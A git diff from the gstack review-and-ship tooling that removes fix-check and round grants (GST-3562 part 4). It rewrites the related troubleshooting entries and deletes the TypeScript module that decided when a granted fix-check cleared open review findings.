<a id="fix-check-open"></a>
### `FIX_CHECK_OPEN`
-**Meaning.** `gstack-ship-release finish` did not count a granted fix-check
-because it still has findings no owner has ruled on that still hold it open. The line lists
-their fingerprints and the fix-check's commit. A blocking finding the row
-records `fixed` or `auto-fixed` never holds it open and needs no ruling
-(GST-3501). A fix-check that found a new
-CRITICAL logs it `open` with `converged:false`, so `FIX_CHECK: not counted`
-reads `missing start capture or incomplete/nonconverged pass` until the
-rulings exist. A `--review-loop-exception` does not help here: it accepts
-edits made after `fix_check.head` (`REVIEW_LOOP_EXCEPTION: accepted none`
-when there are none), never the fix-check's own findings (harness-evals#361).
-
-**Fix.** When the owner accepts the findings as disclosed notes, the owner
-records one ruling per listed fingerprint, outside the lane's /gstack-ship run, at
-the printed commit or any head inside the fix-check's range:
-`gstack-approvals rule --finding <fingerprint> --head <commit> --reason '<why>'
---words '<owner's exact words>' --by '<owner>'`. Then run finish again. It
-prints each `RULED_NOTE:`, and the PR body and receipt list every `Ruled
-note:` line ([ship-policy.md](ship-policy.md#ruled-notes)). A ruling at a head
-outside the range is listed as `not applied`, and a path edited after the
-fix-check still routes by the post-review rules. When the owner wants the
-findings fixed instead, fix them and run /gstack-ship again: fix-check grants are
-deprecated (GST-3562 A), so ask for none, and a PR past its two rounds whose code
-changed gets one read-only full review of its final head.
-A stopped final review or native reader row works the same way: its
-`gstack-review-read` reason lists each finding still waiting for a ruling, a
-`noted` CRITICAL included, so rule each listed fingerprint at the head it names.
+**Meaning.** An older gstack's `gstack-ship-release finish` did not count a granted
+fix-check because findings no owner had ruled on still held it open. Fix-checks
+and their grants were removed in GST-3562 part 4, so finish no longer prints this.
+
+**Fix.** Run /gstack-ship again on the current head. A blocker the review leaves
+open goes to the lane's Captain, who rules it a note with `gstack-approvals rule
+--finding <fingerprint> --head <commit> --reason '<why>' --words '<owner's exact
+words>' --by '<owner>'` ([ship-policy.md](ship-policy.md#ruled-notes)) or parks the
+PR. A stopped final review or native reader row lists each finding still waiting
+for a ruling in its `gstack-review-read` reason, a `noted` CRITICAL included, so
+rule each listed fingerprint at the head it names.
<a id="receipt-blocker-open"></a>
### `RECEIPT_BLOCKER_OPEN`
@@ -7816,28 +7794,21 @@ counted here.
**Fix.** Fix the finding, commit, and run /gstack-ship again on the new head; that
run's Step 9 row records it `fixed`. If it should ship unfixed, take the stop
-to the owner: their ruled note (`gstack-approvals rule`) closes it. Ask for no
-fix-check grant: those are deprecated (GST-3562 A). Never edit the review-log row or the loop file to
+to the owner: their ruled note (`gstack-approvals rule`) closes it. There are no
+fix-check grants (GST-3562 part 4). Never edit the review-log row or the loop file to
drop the finding, and never write the receipt by hand
([ship-policy.md](ship-policy.md#ship-receipt)).
<a id="review-loop-exception-invalid"></a>
### `REVIEW_LOOP_EXCEPTION_INVALID`
-**Meaning.** `gstack-ship-receipt write --review-loop-exception` refused the
-record and wrote nothing: it is not `{ accepted_by, date, via, reason }` with
-exactly one of `fix_check: { head, findings[, files] }` (a stop after a
-fix-check; deprecated with fix-check grants and removed next release) or `second_pass: { head, deferred: [<finding id>] }` (a stop after
-the second full pass left a finding open, TRUT-7), `--review-loop` is missing
-or does not show that stop (no fix-check counted, or fewer than two passes or
-no deferred finding), the head is neither the receipt head nor its ancestor, or
-the `--body` file lacks the `Review-loop exception: …` line.
-
-**Fix.** Record the owner's exact words and the stop they accepted (the
-fix-check, or the second full pass with the deferred finding's id),
-pass the `gstack-review-scope summary` file as `--review-loop`, put the printed
-line in the PR body, and write again
-([ship-policy.md](ship-policy.md#ship-receipt)).
+**Meaning.** `gstack-ship-receipt write --review-loop-exception` (or finish given the
+same flag) refused and wrote nothing: the review-loop exception was removed with
+fix-check grants in GST-3562 part 4.
+
+**Fix.** Drop the flag. An open finding at the round cap ships only as a Ruled
+note: the owner records it with `gstack-approvals rule`, and write lists it
+([ship-policy.md](ship-policy.md#ruled-notes)).
<a id="ci-carry-tree-log-unbound"></a>
### `CI_CARRY_TREE_LOG_UNBOUND`
@@ -8026,57 +7997,29 @@ Captain (GST-3562 A).
**Fix.** The lane's Captain decides: ship with the open notes listed, park, or
keep the fix and run /gstack-ship again for one more read-only full review of the final
-head. Round grants are deprecated (GST-3562 A) and the next release removes them,
-so record no new one. The steps below serve only a grant recorded before
-GST-3562, which still buys the stopped review's fix round:
-
-1. Record the stop: `gstack-ship-receipt stop --pr <n> --run <the /gstack-ship run>
- --since <REVIEW_SINCE>` (`/gstack-ship` runs it on `NEXT: stop`). It prints
- `STOP_RECORD:` and the grant command.
-2. The lane or Captain records that grant: `gstack-approvals round-grant --pr
- <n> --head <the stop's head> --kind fix-check --stop-run <its run> --findings
- <the open finding ids> --reason <why> --by <lane or Captain>`.
-3. Commit the fix on top of the stop's head. A new run's `gstack-ship-preflight`
- prints `PR_REVIEW_FLAGS:`; the same run, whose preflight already ran, gets
- that line from `gstack-ship-receipt history --pr <n> --base <base> --run
- <the /gstack-ship run>`. It adds `--round-grant <id> --stop <head>`, and the plan is one scoped fix-check of the PR's own change
- since that head, with no new full review. The run claims the grant first
- (`gstack-ship-receipt claim`).
-
-A head no review has stopped at takes an `--kind extra-round` grant instead
-(deprecated the same way):
-one full round with its fix round. Each grant is spent by the one run that
-claims it. When `PR_REVIEW_GRANT: not applied (...)` prints, the reason names
-what doesn't match (another stop or head, a stale stop, a claimed grant). This
-is not an owner ask, and gstack cannot grant itself one (`--by` naming gstack
-is refused) ([review-policy.md](review-policy.md#rounds-per-pull-request)).
+head. There are no round grants (GST-3562 part 4): the Captain rules a blocker a
+note with `gstack-approvals rule`, or the PR parks. This is not an owner ask
+([review-policy.md](review-policy.md#rounds-per-pull-request)).
<a id="stop-unbound"></a>
### `STOP_UNBOUND`
**Meaning.** `gstack-ship-receipt stop` found no review of this run that
gstack can tie to one commit: the newest `via:ship` reading row since
-`--since` (a full pass, a fix-check or a Step 11 voice, whichever read last,
+`--since` (a full pass or a Step 11 voice, whichever read last,
#4591) is missing, didn't finish, read a tree that moved or wasn't committed,
-or its commit isn't HEAD or under it. It recorded no stop record, so
-no fix-check grant can buy that review's fix round.
-
-**Fix.** The lane's Captain ships with the open notes listed, or parks. Fix-check
-grants are deprecated (GST-3562 A) and go in the next release, so record no new
-one. Before GST-3562 the Captain could rule the fix round with a grant that needs
-no stop record, and one recorded then still works for one release: `gstack-approvals
-round-grant --pr <n> --head <the reviewed head> --kind fix-check --reason <why>
---by <lane or Captain>` (add `--owner-ref` and `--words` inside an open run).
-The run then claims it, commits the fix, runs the one scoped fix-check
-`gstack-review-plan --round-grant <id> --stop <that head>` plans, and write
-closes the blockers that clean fix-check's fix list named
-([review-policy.md](review-policy.md#one-grant-path)).
+or its commit isn't HEAD or under it. It recorded no stop record.
+
+**Fix.** The lane's Captain ships with the open notes listed (a blocker only as
+a ruled note), or parks. A stop before any PR exists records the run's stop and
+prints `pr=none` (HARN-138); when the run record refuses that write (another
+run's record, a held lock), it exits 1 and prints no `STOP_RECORD:`.
<a id="ship-run-abandon-refused"></a>
### `SHIP_RUN_ABANDON_REFUSED`
**Meaning.** `gstack-ship-run abandon` left the run record as it was. Either
-the run beat (preflight, a review start or finish, stub, stop or claim) in the
+the run beat (preflight, a review start or finish, stub or stop) in the
last 60 minutes, so it may still be working; or the record names another run,
or already ended (finished or abandoned); or the record is unreadable and the
`--sha256` given isn't its digest. `--by` naming gstack itself is a usage error.
@@ -8100,7 +8043,7 @@ recorded (add that entry with `gstack-ship-receipt abandoned` instead).
**Meaning.** This checkout's /gstack-ship run record (the git dir's `gstack-ship-run`)
is neither a run record nor a bare run id. Every guard reads it as an open run
-(it fails closed), so preflight, round grants, rulings without `--owner-ref`,
+(it fails closed), so preflight, rulings without `--owner-ref`,
gate dispositions and lane exceptions stop until it is ended.
**Fix.** If no /gstack-ship run is working on this checkout, run the command
@@ -8111,32 +8054,18 @@ The digest binds the abandon to the bytes you inspected.
<a id="grant-spent"></a>
### `GRANT_SPENT`
-**Meaning.** `gstack-ship-receipt claim` found another `/gstack-ship` run's grant
-record for this round grant in the PR body's runs block, or, for a fix-check
-grant, a counted fix-check in the review log that already read under it: a row
-carrying the grant, or one carrying no grant logged after the grant was recorded
-(a row stamped with another grant was that grant's read). The second case
-catches a fix-check that ran with no claim (an owner's `review_loop_grant` row or
-a round grant planned through `gstack-review-plan --grant`). A grant buys one
-round, and a voided run's claim still spends it. Within the run that claimed it, a
-fix-check row that doesn't count (`converged:false`, partial hunks) spends
-nothing: log a correct row in the same run instead of asking for a new grant
-([review-policy.md](review-policy.md#one-grant-path)).
-
-**Fix.** Record no new grant: fix-check and round grants are deprecated
-(GST-3562 A). The lane's Captain decides the stop as
-[`PR_ROUND_CAP`](#pr-round-cap) says.
+**Meaning.** An older gstack's `gstack-ship-receipt claim` found the round or
+fix-check grant already spent. `claim` and grants were removed in GST-3562 part 4.
+
+**Fix.** The lane's Captain decides the stop as [`PR_ROUND_CAP`](#pr-round-cap) says.
<a id="grant-unknown"></a>
### `GRANT_UNKNOWN`
-**Meaning.** `gstack-ship-receipt claim --grant <id>` found no approved
-fix-check or round grant with that id in the branch's approval record or its
-mirror: neither a `gstack-approvals round-grant` row nor an owner's
-`review_loop_grant <head>` row (both are the same grant since GST-3546).
+**Meaning.** An older gstack's `gstack-ship-receipt claim --grant <id>` found no
+approved grant with that id. `claim` and grants were removed in GST-3562 part 4.
-**Fix.** Pass the id `gstack-approvals round-grant` printed, from a checkout
-that sees that record ([troubleshooting](#pr-round-cap)).
+**Fix.** As for [`GRANT_SPENT`](#grant-spent).
<a id="receipt-prose-mismatch"></a>
### `RECEIPT_PROSE_MISMATCH`
diff --git a/docs/unattended.md b/docs/unattended.md
index 0d9ab57e5..90eaab4b3 100644
--- a/docs/unattended.md
+++ b/docs/unattended.md
@@ -227,7 +227,7 @@ findings` and the below-floor items under `## Review notes`. A pass that finds
nothing is `NO FINDINGS` from every reviewer and a pass with no edits, which
is the loop's exit, never a failed review ([review-policy.md](review-policy.md)).
Three counters appear only when the run recorded them: `fix_checks` (fix-check
-rows, never passes), `dispatches` (reviewer dispatches by role) and
+rows from before GST-3562, never passes), `dispatches` (reviewer dispatches by role) and
`est_input_tokens` (prompt plus diff bytes the dispatches read, / 4, a relative
estimate and never a bill).
@@ -1119,24 +1119,15 @@ decision or action, every evidence pointer resolves and shows what the row
claims, and a fork or abandoned approach that shaped the result but is not
logged gets a row. The audit corrects the log, never the story: no row is
edited or removed, an invented or wrong row stays and a new row supersedes it
-with what actually happened. On a risk-class PR (the receipt's `review_depth`
-has class `gate` or a `risk` class: security, money, auth, secrets, user
-data), a reviewer on a different model family from the one that did the work
-(a Capy subagent on another family, or the outside voice) then reads the trail
-and the transcript and flags what the owner should look at: decisions with
-weak or missing evidence, verification claimed without proof, choices that
-look risky in hindsight, gaps a skim would miss. Self-review does not stand in
-for that read. Every other PR skips it: the run's own audit is the review. The
-run's final report ends with an `Attention` section that opens with `reviewed
-by <model>` (risk class) or `self-audited` (every other PR) on its own line
-and lists each flag against its rows; `No flags` is a valid body, a missing
-opening line is not. The reader's read is a trail row with phase `trail-read`
-whose decision names the reader (`gstack-decision-trail <file> trail-read
-"openai/gpt-6.2-sol (Subagent 4)" <why> <evidence> <flags>`).
-`gstack-ship-queue ready --trail <file>` prints the opening line from that row
-for a risk-class receipt, then that row's flags (`Flags (trail row <n>): …`, or
-`No flags (trail row <n>)`), or `MISSING: cross-family trail read` when the trail
-has none, and one `TRIAL_MERGES` line per open PR that shares a file, from
+with what actually happened. The run's final report ends with an `Attention`
+section listing what the owner should look at (decisions with weak or missing
+evidence, verification claimed without proof, choices that look risky in
+hindsight); `No flags` is a valid body. The cross-family read of the trail on
+risk-class PRs (`trail-read` rows, `ready --trail`, `MISSING: cross-family trail
+read`) was retired in GST-3562 part 4: it caught one finding in 17 reads, one the
+second-model reviewer had already raised. `gstack-ship-queue ready` opens the
+Attention section with the receipt's risk class and prints one `TRIAL_MERGES`
+line per open PR that shares a file, from
`git merge-tree` at both heads. Heads this clone lacks come down in one
`git fetch` (then one at a time if that fails) within
`GSTACK_TRIAL_FETCH_TIMEOUT_MS` (default 60 s); ready prints a progress line
diff --git a/lib/approval-record.ts b/lib/approval-record.ts
index ccda80af4..62e293fc5 100644
--- a/lib/approval-record.ts
+++ b/lib/approval-record.ts
@@ -196,7 +196,8 @@ const MINTED_RUN_ID = /^[A-Za-z0-9._-]{1,64}-(?:\d{14}|\d{4}(?:0[1-9]|1[0-2])(?:
const RUN_ID_STAMP = /(?:(?<!\d)\d{1,6}-)?(?:\d{14}|\d{8}-\d{6})$/;
/**
- * A fix-check round grant's scope as gstack-approvals round-grant writes it (lib/review-round-grant.ts): its stop= token is the
+ * A fix-check round grant's scope as the retired gstack-approvals round-grant wrote it (removed in GST-3562 part 4; rows
+ * recorded before still render in Approvals tables): its stop= token is the
* /ship run id, often a PR number, a dash and a short sha (`507-7192673`), which pii.phone.e164 reads as a phone number
* (harness-evals #507). Only a phone finding that starts inside that token of the scope field is skipped; the reason, the words
* and every other field, a grant-shaped excerpt pasted into them included, are scanned as usual.
diff --git a/lib/fix-check-clearing.ts b/lib/fix-check-clearing.ts
deleted file mode 100644
index 0923782d4..000000000
--- a/lib/fix-check-clearing.ts
+++ /dev/null
@@ -1,161 +0,0 @@
-/**
- * fix-check-clearing — the one owner of when a granted fix-check counts and what it closes (GST-3260,
- * docs/review-policy.md#what-closes-a-finding). A stop leaves a stop record in the PR body, the lane or its Captain records a
- * fix-check grant naming it, a run claims the grant, and gstack-review-log stamps that run's review-fix-check row from the claim
- * (fix_check_base, run, grant, pr) with the digest of the hunks its reader was given. finish's fixChecked counts such a row through
- * bindFixCheckRow, anchored on the grant's stop rather than the newest reviewed tree (#4612); gstack-ship-receipt write closes
- * exactly the open blockers the grant names through clearByGrant, and a fix whose Review-Finding trailer a later full round read
- * clean through clearByTrailer (#4597). Anything less closes nothing and says why on one line. Every input is a record gstack's
- * tools wrote (the PR body's stop and claim entries, the approval record, the review log); the agent's --review-loop file only
- * lists which blockers are open.
- */
-import { createHash } from 'node:crypto';
-import * as fs from 'node:fs';
-import * as path from 'node:path';
-import { grantedStop } from './pr-review-history';
-import { grantForPr, ownLinesSame, type ReviewRoundGrant } from './review-round-grant';
-import { ledgerPass, parseFixTrailers, reviewRowKey, rowTime } from './review-scope';
-import { isSecurityFinding } from './security-findings';
-import { receiptRuns } from './ship-receipt';
-import { spawnSync } from './spawn-sync';
-
-type Row = Record<string, any>;
-/** One entry of the loop summary's `open` list: a ledger id or fingerprint, or both. */
-export type OpenBlocker = string | { id: string; fingerprint: string };
-export type RowBinding = { ok: true; grant: ReviewRoundGrant; base: string; commit: string } | { ok: false; why: string };
-export interface GrantClearing { ids: string[]; approval?: string; run?: string; why?: string }
-export interface TrailerClearing { id: string; commit: string; review: string }
-
-const SHA = /^[0-9a-f]{40}$/;
-const s12 = (s: string) => s.slice(0, 12);
-const git = (cwd: string, args: string[]) => {
- const r = spawnSync('git', args, { cwd, encoding: 'utf8', timeout: 60_000, maxBuffer: 64 * 1024 * 1024 });
- return r.status === 0 ? r.stdout ?? '' : null;
-};
-const ancestor = (cwd: string, a: string, d: string) => a === d || git(cwd, ['merge-base', '--is-ancestor', a, d]) !== null;
-const treeOf = (cwd: string, c: string) => git(cwd, ['rev-parse', '--verify', '--quiet', `${c}^{tree}`])?.trim();
-const findingsOf = (r: Row): Row[] => (Array.isArray(r?.findings) ? r.findings.filter((f: unknown) => !!f && typeof f === 'object') : []);
-const nameOf = (b: OpenBlocker) => (typeof b === 'string' ? b : b.id);
-
-/**
- * A fix-check row that counts (GST-3546): a row stamped from a claim counts when `bind` (bindFixCheckRow with `open: true`) accepts
- * it, and any other as a completed, converged read, whatever it found. A malformed row (converged:false, hunks that leave out part
- * of the fix range) counts for nothing, so the run logs a correct row on the same grant; a counted read that found issues spends
- * the grant like a clean one, so a grant still buys one fix round.
- */
-export const countedFixCheck = (r: Row, bind?: (row: Row) => boolean) => r?.skill === 'review-fix-check'
- && (r.fix_check_base !== undefined && bind ? bind(r) : r.completed === true && r.converged === true);
-
-/**
- * A fix-check grant buys one counted fix-check: it is spent once a counted row carries it, or once a counted fix-check that
- * carries no grant (an unclaimed read, such as one planned through gstack-review-plan --grant) started after it was recorded.
- * A row a claim stamped with another grant was that grant's read, so it never spends this one (GST-3560).
- */
-export const grantSpent = (rows: readonly Row[], g: Pick<ReviewRoundGrant, 'approval' | 'at'>, bind?: (row: Row) => boolean) =>
- rows.some(r => countedFixCheck(r, bind) && (r.grant === g.approval || (!r.grant && rowTime(r) > Date.parse(g.at))));
-
-/**
- * The grant-and-row binding finish and write share (amendments A, B and H): a review-fix-check row gstack-review-log stamped from a
- * claim, whose grant is an approved fix-check grant naming its fix_check_base as the stop head on its PR; no agent-written
- * range_base that disagrees; a completed, converged read bound to its commit's own tree, which contains the base; nothing open in it
- * (rule e: its status, an inline finding with action open at any severity, findings_open from a findings file, an id its dispatch
- * ledger collected that the row does not dispose); and the hunks its reader was given are git diff <base> <commit> over their paths,
- * which cover every path that diff changes. `open: true` asks only whether the row counts as the grant's read at all: it skips the
- * nothing-open check, and an id its dispatch ledger collected needs a finding in the row, whatever its action.
- */
-export function bindFixCheckRow(cwd: string, row: Row, grants: readonly ReviewRoundGrant[], o: { open?: boolean } = {}): RowBinding {
- const no = (why: string): RowBinding => ({ ok: false, why });
- const base = typeof row.fix_check_base === 'string' ? row.fix_check_base.toLowerCase() : '';
- const commit = typeof row.commit_full === 'string' ? row.commit_full.toLowerCase() : '';
- const g = grants.find(x => x.kind === 'fix-check' && x.approval === row.grant);
- const b = row.review_binding, h = row.hunks, findings = findingsOf(row);
- if (!SHA.test(base)) return no('the row carries no fix_check_base that gstack-review-log stamped from a claim');
- if (!g) return no(`its grant ${row.grant ?? 'none'} is no approved fix-check grant in this branch's approval record`);
- if (g.head !== base || !grantForPr(g, row.pr)) return no(`its fix_check_base ${s12(base)} on PR #${row.pr ?? '?'} is not the stop ${s12(g.head)} that grant ${g.approval} names on PR #${g.pr}`);
- if (row.range_base !== undefined && git(cwd, ['rev-parse', '--verify', '--quiet', `${row.range_base}^{commit}`])?.trim() !== base) return no(`its range_base ${String(row.range_base).slice(0, 12)} disagrees with the logger's fix_check_base ${s12(base)}`);
- if (row.completed !== true || row.converged !== true || b?.state !== 'verified' || typeof row.tree !== 'string' || b.start_wtree !== row.tree || b.end_wtree !== row.tree) return no('it is not a completed, converged read bound to one committed tree');
- if (!SHA.test(commit) || treeOf(cwd, commit) !== row.tree || !ancestor(cwd, base, commit)) return no(`its commit ${s12(commit) || 'missing'} does not hold the tree it read or does not contain the stop ${s12(base)}`);
- if (!o.open && (row.status === 'issues_found' || row.status === 'issues_open' || Number(row.findings_open ?? 0) > 0 || findings.some(f => f.action === 'open'))) return no('it left a finding open');
- if (!h || typeof h.sha256 !== 'string' || !Array.isArray(h.paths) || !h.paths.length) return no('it carries no record of the hunks its reader was given');
- const diff = git(cwd, ['diff', base, commit, '--', ...h.paths]);
- if (diff === null || createHash('sha256').update(diff).digest('hex') !== h.sha256) return no(`the hunks its reader was given are not git diff ${s12(base)} ${s12(commit)}`);
- const changed = git(cwd, ['diff', '--name-only', base, commit]);
- const unread = changed === null ? null : changed.split('\n').filter(p => p && !h.paths.includes(p));
- if (unread === null || unread.length) return no(`the hunks its reader was given leave out ${unread?.join(', ') ?? 'paths git could not list'}, which git diff ${s12(base)} ${s12(commit)} changes`);
- if (typeof h.ledger === 'string') {
- let ids: string[];
- try { fs.readFileSync(h.ledger); ids = ledgerPass(h.ledger, id => `${path.basename(path.dirname(h.ledger))}/${id}`).ids ?? []; } catch { return no(`its dispatch ledger ${h.ledger} is unreadable`); }
- const disposed = new Set(findings.filter(f => o.open || f.action !== 'open').map(f => f.ledger_id));
- const left = ids.filter(id => !disposed.has(id));
- if (left.length) return no(`its dispatch ledger holds ${left.join(', ')}, which the row does not dispose`);
- }
- return { ok: true, grant: g, base, commit };
-}
-
-/**
- * Rules a to f with amendments D and E: (a) grantedStop accepts the newest stop record's fix-check grant for this PR and run, or
- * (GST-3546) a fix-check grant that names no stop answers its own head once this run claimed it; (b) the PR body's first claim of
- * the grant is this run's; (c) every review-fix-check row carrying the grant is stamped with this run (a copy of one read, same key and
- * start, counts once, and two reads never collapse into the later one), the first that counts
- * (bindFixCheckRow with open: true; a malformed row before it spends nothing) is the grant's one read, and it binds clean at
- * the stop's head and tree from the body, never the newest review row, on the receipt
- * head or a head that only merges the base into it; (d) the stop, the claim and the row's start are recorded in that order;
- * (e) inside the binding; (f) each grant id closes the one open blocker whose id it is, a fingerprint only for a blocker without a
- * ledger id that no other blocker shares, never a gate finding, and only an id the fix list its reader was given named; an id
- * that names nothing closes nothing.
- */
-export function clearByGrant(cwd: string, o: { pr: number; run: string; head: string; baseRef: string; body: string; grants: readonly ReviewRoundGrant[]; rows: readonly Row[]; open: readonly OpenBlocker[] }): GrantClearing {
- const none = (why: string): GrantClearing => ({ ids: [], why });
- const claimOf = (id: string) => receiptRuns(o.body).find(r => r.mark === 'grant' && r.grant === id);
- const answer = grantedStop(o.body, o.grants, { pr: o.pr, head: o.head, run: o.run, isAncestor: (a, d) => ancestor(cwd, a, d) });
- const unstopped = answer?.ok ? undefined : [...o.grants].reverse().find(x => x.kind === 'fix-check' && !x.stop_run && grantForPr(x, o.pr) && claimOf(x.approval)?.run === o.run && ancestor(cwd, x.head, o.head));
- if (!answer?.ok && !unstopped) return none(answer ? answer.why : `no fix-check grant for PR #${o.pr}`);
- const g = unstopped ?? (answer as Extract<typeof answer, { ok: true }>).grant;
- const stop = unstopped ? { head: unstopped.head, tree: treeOf(cwd, unstopped.head), at: unstopped.at } : (answer as Extract<typeof answer, { ok: true }>).stop;
- const claim = claimOf(g.approval);
- if (claim?.run !== o.run) return none(`the PR body's first claim of grant ${g.approval} is ${claim ? `run ${claim.run}'s` : 'missing'}, not run ${o.run}'s`);
- const stamped = [...o.rows.filter(r => r?.skill === 'review-fix-check' && r.grant === g.approval).map(r => [JSON.stringify([reviewRowKey(r), r.review_binding?.started_at ?? r.timestamp ?? null]), r] as const).reduce((m, [k, r]) => (m.has(k) ? m : m.set(k, r)), new Map<string, Row>()).values()];
- const foreign = stamped.find(r => r.run !== o.run);
- if (!stamped.length || foreign) return none(`grant ${g.approval} buys fix-check rows stamped with run ${o.run}, and the review log holds ${foreign ? `run ${foreign.run}'s` : 'none'}`);
- const counted = stamped.find(r => bindFixCheckRow(cwd, r, o.grants, { open: true }).ok);
- const read = bindFixCheckRow(cwd, counted ?? stamped.at(-1)!, o.grants);
- if (!read.ok) return none(`the granted fix-check${counted ? ', the one counted read the grant bought,' : ''}: ${read.why}`);
- const row = counted!, bound = read;
- if (bound.base !== stop.head || treeOf(cwd, stop.head) !== stop.tree) return none(`the granted fix-check read from ${s12(bound.base)}, not the ${unstopped ? 'head its grant names' : "stop record's head"} ${s12(stop.head)} and its tree`);
- if (bound.commit !== o.head && !(ancestor(cwd, bound.commit, o.head) && ownLinesSame(cwd, o.baseRef, bound.commit, o.head))) return none(`the granted fix-check read ${s12(bound.commit)}, and ${s12(o.head)} is neither it nor a head that only merges the base into it`);
- const started = row.review_binding?.started_at;
- if (!(Date.parse(String(stop.at)) < Date.parse(String(claim.at)) && Date.parse(String(claim.at)) < Date.parse(String(started)))) return none(`the ${unstopped ? 'grant' : 'stop'} (${stop.at ?? 'no time'}), the claim (${claim.at ?? 'no time'}) and the fix-check's start (${started ?? 'no time'}) are not recorded in that order`);
- const gated = new Set(o.rows.flatMap(r => findingsOf(r).filter(f => f.gate !== undefined).flatMap(f => [f.ledger_id, f.fingerprint])));
- const asked = new Set<string>(Array.isArray(row.hunks?.fix_list) ? row.hunks.fix_list : []);
- const listed = g.findings!.length ? g.findings! : [...asked];
- const ids = listed.filter(name => asked.has(name) && !isSecurityFinding(name) && o.open.filter(b => nameOf(b) === name).length === 1 && !o.open.some(b => typeof b !== 'string' && b.fingerprint === name) && !gated.has(name));
- const unasked = g.findings!.filter(name => !asked.has(name));
- const unnamed = g.findings!.filter(name => asked.has(name) && !ids.includes(name));
- const why = [...(unasked.length ? [`the fix list its reader was given does not name ${unasked.join(', ')}`] : []), ...(unnamed.length ? [`grant ${g.approval} names ${unnamed.join(', ')}, which no open blocker carries alone`] : [])].join('; ');
- return { ids, approval: g.approval, run: o.run, ...(why ? { why } : {}) };
-}
-
-/**
- * The #4597 route: an open blocker closes when a branch commit carries its Review-Finding trailer (its exact ledger id, or its
- * fingerprint when no other open blocker shares it) and a later complete full review, bound to its own committed tree on this
- * branch and holding that commit in its range, left nothing open (the same open test as bindFixCheckRow: its status, findings_open
- * from a findings file, an inline open finding). Gate findings never close this way.
- */
-export function clearByTrailer(cwd: string, o: { head: string; baseRef: string; rows: readonly Row[]; open: readonly OpenBlocker[] }): TrailerClearing[] {
- const log = git(cwd, ['log', '--no-merges', '--format=%H%x00%(trailers:key=Review-Finding,valueonly,separator=%x1f)%x1e', `${o.baseRef}..${o.head}`]);
- const trailers = (log ?? '').split('\x1e').flatMap(rec => { const [sha, values] = rec.trim().split('\0'); return sha && values ? parseFixTrailers(sha, values.split('\x1f').map(v => v.trim()).filter(Boolean)) : []; });
- return o.open.flatMap(b => {
- const id = nameOf(b), fp = typeof b === 'string' ? b : b.fingerprint;
- const raised = o.rows.flatMap(r => findingsOf(r).filter(f => f.action === 'open' && (f.ledger_id === id || (f.ledger_id === undefined && f.fingerprint === fp))).map(f => ({ r, f })));
- const alone = o.open.filter(c => (typeof c === 'string' ? c : c.fingerprint) === fp).length === 1;
- const t = trailers.find(x => x.finding === id || (alone && x.finding === fp));
- if (!t || !raised.length || raised.some(x => x.f.gate !== undefined) || isSecurityFinding(t.finding)) return [];
- const after = Math.max(...raised.map(x => rowTime(x.r)));
- const inRange = (from: unknown, fix: string) => from == null || (typeof from === 'string' && (b => !!b && !ancestor(cwd, fix, b))(git(cwd, ['rev-parse', '--verify', '--quiet', `${from}^{commit}`])?.trim()));
- const review = o.rows.find(r => r?.skill === 'review' && r.via === 'ship' && r.completed === true && r.scope !== 'fix-range' && r.scope !== 'scoped' && rowTime(r) > after
- && r.converged === true && r.review_binding?.state === 'verified' && inRange(r.range_base, t.commit) && typeof r.tree === 'string' && r.review_binding.start_wtree === r.tree && r.review_binding.end_wtree === r.tree
- && SHA.test(String(r.commit_full)) && treeOf(cwd, r.commit_full) === r.tree && ancestor(cwd, t.commit, r.commit_full) && ancestor(cwd, r.commit_full, o.head)
- && r.status !== 'issues_found' && r.status !== 'issues_open' && Number(r.findings_open ?? 0) === 0 && !findingsOf(r).some(f => f.action === 'open'));
- return review ? [{ id, commit: t.commit, review: review.commit_full as string }] : [];
- });
-}
diff --git a/lib/headless-artifacts.ts b/lib/headless-artifacts.ts
index 202c196ac..4ddcd7874 100644
--- a/lib/headless-artifacts.ts
+++ b/lib/headless-artifacts.ts
@@ -126,12 +126,6 @@ export interface ShipReceipt {
/** The gstack release that wrote the receipt (its VERSION file, never the newer policy-key version it reads policies as), and the review depth the reviewed head needs, recomputed at write (lib/ship-receipt-depth.ts receiptDepthAtHead). */
gstack_version?: string;
review_depth?: { depth: 'platform' | 'light' | 'standard' | 'full'; class: 'docs' | 'tests' | 'code' | 'gate'; runtime_lines: number; rules: string; base: string; registry: string | null; gate_scan: { tagged: number | null; head: string }; reasons: string[]; risk?: string[]; mode?: 'lean' | 'panel' | 'platform'; platform_review?: { id: string; head: string; reviewer: string }; declared?: string[]; detected?: string[] };
- /** The owner's acceptance of a stop after a fix-check edit under frozen scope (#3559); the PR body repeats it word for word. */
- review_loop_exception?: { accepted_by: string; date: string; via: string; reason: string; fix_check?: { head: string; findings: number; files?: string[] }; second_pass?: { head: string; deferred: string[] } };
- /** Review round grants the lane or its Captain recorded for this PR (gstack-approvals round-grant, lib/review-round-grant.ts; GST-2673): never the owner's, so never in review_loop_exception. */
- review_round_grants?: Array<{ kind: 'extra-round' | 'fix-check'; head: string; pr: number; by: string; reason: string; at: string; approval: string; stop_run?: string; findings?: string[] }>;
- /** The open blockers a granted fix-check closed at write (lib/fix-check-clearing.ts clearByGrant; GST-3260): the grant, the run that spent it and the ids it named. */
- cleared_by_grant?: { approval: string; run: string; ids: string[] };
/** The open blockers a Review-Finding trailer's fix closed because a later full round read it clean (clearByTrailer, #4597). */
cleared_by_trailer?: Array<{ id: string; commit: string; review: string }>;
/** The owner's rulings that a finding ships as a disclosed note (gstack-approvals rule, lib/ruled-notes.ts); the PR body lists each one word for word (GST-1537). */
@@ -292,9 +286,8 @@ export const ARTIFACT_SCHEMAS = {
review_exclude: { type: 'object', required: ['source', 'patterns', 'applied', 'excluded', 'excluded_bytes', 'kept', 'gate_tagged', 'patterns_sha256', 'list_sha256', 'digest'], properties: { source: str, patterns: strList, applied: strList, excluded: { type: 'integer', minimum: 0 }, excluded_bytes: { type: 'integer', minimum: 0 }, kept: { type: 'integer', minimum: 0 }, gate_tagged: strList, patterns_sha256: str, list_sha256: str, digest: str } },
review_exclude_fallback: { type: 'object', required: ['source', 'errors'], properties: { source: str, errors: strList } },
docs_audit_read: { type: 'object', required: ['paths', 'reviewer', 'packet_sha256'], properties: { paths: strList, reviewer: str, packet_sha256: str } },
- review_loop_exception: { type: 'object', required: ['accepted_by', 'date', 'via', 'reason'], properties: { accepted_by: str, date: str, via: str, reason: str, fix_check: { type: 'object', required: ['head', 'findings'], properties: { head: str, findings: { type: 'integer', minimum: 0 }, files: strList } }, second_pass: { type: 'object', required: ['head', 'deferred'], properties: { head: str, deferred: strList } } } },
